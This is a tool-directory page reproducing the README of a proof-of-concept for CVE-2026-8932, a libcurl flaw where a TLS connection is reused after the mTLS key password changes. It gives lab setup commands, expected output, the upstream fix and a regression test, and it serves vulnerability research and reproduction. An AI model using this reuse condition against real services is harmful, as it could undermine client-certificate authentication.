Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-8932-PoC — Proof-of-concept reproducing CVE-2026-8932, an incomplete mTLS configuration matching flaw in libcurl connection reuse, with a local lab server and C PoC. | Kitploit
Tools/GitHubGitHub/nimaarek/cve-2026-8932-poc
Vulnerability AnalysisExploitationCryptographyPenetration TestingPapers & ResearchLearning & Education
GitHubnimaarek/cve-2026-8932-poc

CVE-2026-8932-PoC

Proof-of-concept reproducing CVE-2026-8932, an incomplete mTLS configuration matching flaw in libcurl connection reuse, with a local lab server and C PoC.

View Repository
11h 49m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-8932 PoC

Proof-of-concept reproduction of CVE-2026-8932, an incomplete mTLS configuration matching issue in libcurl connection reuse.

Overview

CVE-2026-8932 affects libcurl's connection reuse logic when mutual TLS (mTLS) configuration changes between requests.

Under vulnerable conditions, libcurl can reuse an existing TLS connection even though an mTLS-related configuration option has changed and should have prevented that connection from being reused.

This PoC demonstrates the issue by changing the private-key password between two requests while using the same client certificate and private key.

The first request uses the correct password:

root@kitploit:~
correct-password

The second request intentionally uses an invalid password:

root@kitploit:~
WRONG-PASSWORD

If libcurl incorrectly reuses the existing TLS connection, the second request does not require another TLS handshake. Consequently, the invalid private-key password is never needed to establish a new TLS connection and the request succeeds.

The PoC therefore demonstrates the connection-reuse condition associated with CVE-2026-8932.


Vulnerability Details

PropertyValue
CVECVE-2026-8932
Componentlibcurl
Vulnerability TypeIncomplete mTLS configuration matching
CWECWE-305 — Authentication Bypass by Primary Weakness
Affected AreaTLS connection reuse
ProtocolHTTPS / mTLS
Clientlibcurl API
curl CLINot affected
PoC ScopeLocal laboratory environment

The vulnerability is a logic/configuration matching issue, rather than a traditional memory-safety vulnerability such as a buffer overflow or use-after-free.


Technical Background

libcurl maintains connection information and can reuse an existing connection when a subsequent request is considered compatible with the connection's configuration.

For TLS connections, the connection configuration must therefore be compared carefully before reuse.

The vulnerable implementation did not include all relevant mTLS configuration fields in the connection matching logic.

Among the affected settings are:

root@kitploit:~
cert_type
key
key_type
key_passwd
key_blob

The important setting used by this PoC is:

root@kitploit:~
key_passwd

The PoC establishes a TLS connection using an encrypted client private key and the correct password:

root@kitploit:~
correct-password

It then performs another request using the same certificate and key but changes the password to:

root@kitploit:~
WRONG-PASSWORD

A vulnerable connection-matching implementation may still consider the existing connection reusable.


PoC Concept

The test consists of two HTTP requests.

Request A

The first request establishes the TLS connection:

root@kitploit:~
URL:
https://server.test:8443/A

Client certificate:
client.crt

Private key:
client.key

Key password:
correct-password

The TLS connection remains persistent because the server supports HTTP keep-alive.

Request B

The second request uses the same certificate and private key but changes the key password:

root@kitploit:~
URL:
https://server.test:8443/B

Client certificate:
client.crt

Private key:
client.key

Key password:
WRONG-PASSWORD

If libcurl creates a new TLS connection, loading the encrypted private key with the wrong password should fail.

However, if libcurl incorrectly reuses the existing connection, no new TLS handshake is required.

The invalid password therefore does not prevent the HTTP request from succeeding.


Test Architecture

The laboratory setup consists of:

root@kitploit:~
                         localhost
                            |
                            v
                  +---------------------+
                  | Python mTLS Server  |
                  |   127.0.0.1:8443   |
                  +----------+----------+
                             |
                             | HTTPS / TLS 1.3
                             |
                    +--------+--------+
                    |                 |
                  /A                 /B
                    \                 /
                     \               /
                      v             v
                  Same TLS Connection
                         |
                         v
                     libcurl
                     PoC (C)

The important observation is that /A and /B must arrive on the same TLS connection.


Repository Structure

root@kitploit:~
CVE-2026-8932-PoC/
├── README.md
├── LICENSE
├── .gitignore
│
├── certs/
│   └── .gitkeep
│
├── poc/
│   └── poc.c
│
├── server/
│   └── server.py
│
└── docs/
    ├── CVE-2026-8932-POC.jpg
    ├── CVE-2026-8932-server-POC.jpg
    ├── poc-output.txt
    └── server-output.txt

The certs/ directory is intentionally kept empty in the repository. Certificates and private keys should be generated locally.


Reproduction

Requirements

The PoC was tested in the following environment:

root@kitploit:~
OS:
Debian GNU/Linux 13 (trixie)

Architecture:
x86_64

libcurl:
8.14.1

OpenSSL:
3.5.7

GCC:
14.2.0

The vulnerable libcurl installation used for the reproduction was:

root@kitploit:~
libcurl/8.14.1

Verify the installed version:

root@kitploit:~
curl --version

and:

root@kitploit:~
pkg-config --modversion libcurl

1. Create the Lab Directory

root@kitploit:~
mkdir -p ~/cve-2026-8932-lab/{certs,poc,server,docs}

cd ~/cve-2026-8932-lab

2. Generate the CA

root@kitploit:~
cd ~/cve-2026-8932-lab/certs

openssl genrsa -out ca.key 2048

openssl req -x509 -new -nodes \
  -key ca.key \
  -sha256 \
  -days 3650 \
  -subj "/CN=CVE-2026-8932-CA" \
  -out ca.crt

3. Generate the Server Certificate

Generate the server private key:

root@kitploit:~
openssl genrsa -out server.key 2048

Generate the CSR:

root@kitploit:~
openssl req -new \
  -key server.key \
  -subj "/CN=server.test" \
  -out server.csr

Create the certificate extensions:

root@kitploit:~
printf "subjectAltName=DNS:server.test\nextendedKeyUsage=serverAuth\n" \
  > server.ext

Sign the certificate using the test CA:

root@kitploit:~
openssl x509 -req \
  -in server.csr \
  -CA ca.crt \
  -CAkey ca.key \
  -CAcreateserial \
  -out server.crt \
  -days 3650 \
  -sha256 \
  -extfile server.ext

4. Generate the Client Certificate

Generate the client private key:

root@kitploit:~
openssl genrsa -out client.key.tmp 2048

Generate the CSR:

root@kitploit:~
openssl req -new \
  -key client.key.tmp \
  -subj "/CN=Client-A" \
  -out client.csr

Convert the private key into encrypted PKCS#8 format:

root@kitploit:~
openssl pkcs8 \
  -topk8 \
  -in client.key.tmp \
  -out client.key \
  -v2 aes-256-cbc \
  -passout pass:correct-password

The resulting private key is encrypted with:

root@kitploit:~
correct-password

Create the client certificate extensions:

root@kitploit:~
printf "extendedKeyUsage=clientAuth\n" \
  > client.ext

Sign the client certificate:

root@kitploit:~
openssl x509 -req \
  -in client.csr \
  -CA ca.crt \
  -CAkey ca.key \
  -CAcreateserial \
  -out client.crt \
  -days 3650 \
  -sha256 \
  -extfile client.ext

At this point the required files should exist:

root@kitploit:~
certs/
├── ca.crt
├── ca.key
├── client.crt
├── client.key
├── server.crt
└── server.key

5. Start the mTLS Server

Move into the server directory:

root@kitploit:~
cd ~/cve-2026-8932-lab/server

Start the server:

root@kitploit:~
python3 server.py

The server listens on:

root@kitploit:~
0.0.0.0:8443

Client certificate authentication is required.

The server also keeps HTTP/1.1 connections alive so that libcurl can reuse the TLS connection.


6. Build the PoC

Open another terminal:

root@kitploit:~
cd ~/cve-2026-8932-lab/poc

Compile:

root@kitploit:~
gcc -Wall -Wextra -O0 -g \
  poc.c \
  $(pkg-config --cflags --libs libcurl) \
  -o poc

7. Run the PoC

Execute:

root@kitploit:~
./poc

The PoC uses:

root@kitploit:~
Client certificate : client.crt
Private key        : client.key

Request A password : correct-password
Request B password : WRONG-PASSWORD

Expected Vulnerable Behavior

The most important client-side evidence is:

root@kitploit:~
[+] STEP 2: Request using modified mTLS configuration
[+] Key password = WRONG-PASSWORD

* Re-using existing https: connection with host server.test
> GET /B HTTP/1.1

The request then receives:

root@kitploit:~
< HTTP/1.1 200 OK

and the PoC reports:

root@kitploit:~
[!!!] B REQUEST SUCCEEDED

This is significant because /B uses an intentionally invalid private-key password.

The key observation is not simply that /B succeeds.

The critical evidence is that libcurl explicitly reports:

root@kitploit:~
Re-using existing https: connection

Therefore the second request does not need to perform another TLS handshake using the modified key configuration.


Server-Side Evidence

The server output provides independent confirmation of the connection reuse.

The relevant output is:

root@kitploit:~
[+] TLS connection #2
    Client CN    : Client-A

[+] Connection #2 Client=Client-A Request=GET /A HTTP/1.1
[+] Connection #2 Client=Client-A Request=GET /B HTTP/1.1

The important observation is:

root@kitploit:~
/A -> Connection #2
/B -> Connection #2

Both HTTP requests were therefore received through the same TLS connection.

The server also reports the same client identity:

root@kitploit:~
Client-A

for both requests.


Why the Wrong Password Does Not Cause a TLS Failure

The private key used by the PoC is encrypted.

The first request uses:

root@kitploit:~
correct-password

which allows libcurl/OpenSSL to access the private key and establish the TLS connection.

The second request changes the configuration to:

root@kitploit:~
WRONG-PASSWORD

If a new TLS connection had to be established, libcurl would need to process the encrypted private key again and the incorrect password should cause the operation to fail.

However, when the existing TLS connection is reused, the TLS session is already established.

No new client authentication operation is necessary for /B.

Conceptually:

root@kitploit:~
Request A
   |
   | correct-password
   v
TLS handshake
   |
   v
Established TLS connection
   |
   +----------------------+
   |                      |
   v                      v
  /A                     /B
                         |
                   WRONG-PASSWORD
                         |
                         X
              No new TLS handshake
                         |
                         v
                    HTTP succeeds

Connection Reuse vs TLS Session Resumption

This PoC demonstrates connection reuse, not TLS session resumption.

The two mechanisms are different.

Connection Reuse

An already-established TLS connection remains open and is used for another HTTP request:

root@kitploit:~
TLS connection #2
    |
    +-- GET /A
    |
    +-- GET /B

No second TLS handshake is required.

TLS Session Resumption

A new TCP/TLS connection is created, but cryptographic session information from an earlier connection is used to shorten the new TLS handshake.

That is not what this PoC relies on.

The PoC intentionally shares:

root@kitploit:~
CURL_LOCK_DATA_CONNECT

between the two easy handles while not sharing:

root@kitploit:~
CURL_LOCK_DATA_SSL_SESSION

This keeps the demonstration focused on connection reuse.


Evidence

The repository contains captured output from the successful reproduction.

Client-Side PoC Output

PoC output

The captured output demonstrates:

  • libcurl version
  • initial TLS connection
  • successful /A request
  • changed key password
  • Re-using existing https: connection
  • successful /B request

The complete terminal output is also available in:

root@kitploit:~
docs/poc-output.txt

Server-Side Output

Server output

The server-side evidence demonstrates that:

root@kitploit:~
/A -> TLS connection #2
/B -> TLS connection #2

The complete server output is available in:

root@kitploit:~
docs/server-output.txt

Important Note About Connection Numbers

If a manual curl test is performed before running the PoC, the server may display an earlier connection:

root@kitploit:~
TLS connection #1

This connection is unrelated to the actual PoC execution.

For example, the manual validation request:

root@kitploit:~
curl \
  --resolve server.test:8443:127.0.0.1 \
  --cacert ~/cve-2026-8932-lab/certs/ca.crt \
  --cert ~/cve-2026-8932-lab/certs/client.crt \
  --key ~/cve-2026-8932-lab/certs/client.key \
  --pass correct-password \
  https://server.test:8443/A

may create connection #1.

The actual PoC may then create connection #2.

The relevant condition is therefore not the absolute connection number, but that:

root@kitploit:~
/A and /B

appear on the same TLS connection during the PoC execution.


Relevant libcurl Fix

The upstream fix is:

root@kitploit:~
7541ae569d82fb308a5e2d94916027da4fa3ba3e

Commit:

root@kitploit:~
tls: fix incomplete mTLS config in conn reuse and session cache

The fix adds the missing mTLS configuration comparisons to the connection matching logic.

Conceptually, the matching logic now considers values including:

root@kitploit:~
blobcmp(c1->key_blob, c2->key_blob) &&
curl_strequal(c1->cert_type, c2->cert_type) &&
Curl_safecmp(c1->key, c2->key) &&
curl_strequal(c1->key_type, c2->key_type) &&
!Curl_timestrcmp(c1->key_passwd, c2->key_passwd)

The important change for this PoC is the comparison of:

root@kitploit:~
key_passwd

A change to the private-key password should therefore prevent the existing connection from being considered compatible for reuse.


Regression Test

The upstream fix also introduced regression coverage for the TLS configuration matching behavior.

The relevant test is associated with:

root@kitploit:~
test 3303

The regression testing covers differences in mTLS configuration including:

root@kitploit:~
key_passwd
key
key_type
cert_type

For example, identical configurations should match:

root@kitploit:~
config A == config B

while changing the key password should not:

root@kitploit:~
config A key_passwd = password-A
config B key_passwd = password-B

        ↓

connection match = false

This is the same configuration dimension exercised by this PoC.


Troubleshooting

/B fails

If /B fails, first check whether libcurl actually reused the connection.

The verbose output should contain:

root@kitploit:~
Re-using existing https: connection

If this line does not appear, the vulnerability condition has not been demonstrated.


/A and /B appear on different TLS connections

The server should show:

root@kitploit:~
Connection #X -> /A
Connection #X -> /B

If instead you see:

root@kitploit:~
Connection #X -> /A
Connection #Y -> /B

then the second request created a new TLS connection and the intended condition was not reproduced.

Check that:

  • CURL_LOCK_DATA_CONNECT is shared.
  • CURLOPT_FORBID_REUSE is not enabled.
  • CURLOPT_FRESH_CONNECT is not enabled.
  • The server sends Connection: keep-alive.
  • HTTP/1.1 is being used.
  • Both requests target the same host and port.

Private-key password errors

The client private key must be generated using:

root@kitploit:~
correct-password

The PoC then intentionally uses:

root@kitploit:~
WRONG-PASSWORD

Do not change the password embedded in the private-key generation command unless the corresponding PoC value is also changed.


Security Considerations

This repository is intended for controlled security research and vulnerability reproduction.

The PoC is designed to operate against a locally hosted test server:

root@kitploit:~
127.0.0.1:8443

Do not use the PoC against systems without authorization.

Private keys and generated certificates should remain outside version control.

The repository should contain only:

root@kitploit:~
certs/.gitkeep

rather than generated private keys.


References

  • curl Security Advisory — CVE-2026-8932
  • curl commit — tls: fix incomplete mTLS config in conn reuse and session cache
  • curl source repository

Credits

PoC design, laboratory methodology, implementation, and technical analysis were developed by AliReza with assistance from OpenAI ChatGPT (GPT-5.6 Luna).

Human verification, execution, testing, and reproduction were performed by the repository author.


Disclaimer

This repository is provided for security research, vulnerability analysis, and educational purposes.

Use it only in systems and environments for which you have explicit authorization.

Download Tool